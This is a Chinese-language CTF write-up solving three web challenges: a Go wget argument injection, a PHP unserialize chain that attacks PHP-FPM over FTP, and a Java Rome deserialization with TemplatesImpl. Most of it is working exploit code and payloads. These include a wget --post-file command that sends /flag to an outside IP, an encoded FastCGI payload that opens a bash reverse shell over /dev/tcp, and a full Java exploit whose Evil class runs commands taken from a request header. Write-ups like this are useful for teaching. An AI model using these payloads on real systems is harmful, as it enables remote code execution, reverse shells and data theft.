目录
CheckIN
eaaasyphp
EasyJaba
CheckIN
拿到附件,贴出关键代码
func getController(c *gin.Context) {
cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
err := cmd.Run()
if err != nil {
fmt.Println("error: ", err)
}
c.String(http.StatusOK, "Nothing")
}
router.GET("/wget", getController)
wget也可以外带数据,详见贴出的文章
哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云
/wget路由无需鉴权,可直接打
payload:
/wget?argv=Z3r4y&argv=--post-file&argv=/flag&argv=http://124.222.136.33:1337
监听,接收到外带的数据
eaaasyphp
题目给到源码
<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
class Bunny {
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}
if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}
瞪眼看链子
Bypass::__destruct->Welcome::__invoke->Bunny::__toString->file_put_contents($this->filename, $this->data);
经过尝试靶机没权限写文件,于是考虑file_put_contents打fastcgi
Fastcgi 协议分析与 PHP-FPM 攻击方法
拿gopherus生成payload
起一个恶意ftp服务器
exp:
<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
// __wakeup(),执行unserialize()时,先会调用这个函数
public function __wakeup()
{
Check::$str1 = true;
}
}
class Bunny {
public function __toString()
{
echo "__toString";
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
// 利用点
// Bypass::__destruct->Welcome::__invoke->Bunny::__toString
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
// __invoke(),调用函数的方式调用一个对象时的回应方法
public function __invoke()
{
echo "__invoke";
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public function __construct()
{
// 自己构造
$this->esle = new Esle();
}
public function __destruct()
{
echo "__destruct";
if (Check::$str1) {
// $this->str4 Welcome
($this->str4)();
} else {
throw new Error("Error");
}
}
}
$b1 = new Bunny();
$b1->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/124.222.136.33/1337%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
$b1->filename = "ftp://124.222.136.33:1338/test";
$we = new Welcome();
$we->username = $b1;
$by = new Bypass();
$by->str4 = $we;
echo urlencode(serialize($by));
payload:
?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22esle%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A4%3A%22data%22%3Bs%3A416%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+On%0Adisable_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F124.222.136.33%2F1337+0%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%22%3Bs%3A8%3A%22filename%22%3Bs%3A30%3A%22ftp%3A%2F%2F124.222.136.33%3A1338%2Ftest%22%3B%7D%7D%7D__destruct
监听,反弹shell,拿flag
EasyJaba
靶机不出网,那就是打加载恶意字节码呗
题目有rome依赖和spring依赖
/BackDoor路由下存在反序列化打入点
ban掉了HashMap和BadAttributeValueExpException
HashMap类的作用是触发hashCode,而BadAttributeValueExpException类的作用是触发toString,看本题的源码,后续可以直接调用object.toString,上帝在关上一扇门的同时又开了一扇窗。
所以可以直接调toStringBean打Rome反序列化
EXP.java
package com.lyzy.ctf.ezjaba.exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class EXP {
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//恶意字节码
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\das\\target\\classes\\com\\lyzy\\ctf\\ezjaba\\exp\\Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","xxx"); //不能设置为null,不然返回null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
// toStringBean.toString();
byte[] aaa = serialize(toStringBean);
System.out.println(Base64.getEncoder().encodeToString(aaa));
}
}
恶意类懒得注内存马,直接打spring回显类
Evil.java
package com.lyzy.ctf.ezjaba.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}
打入,直接回显命令执行结果,拿到flag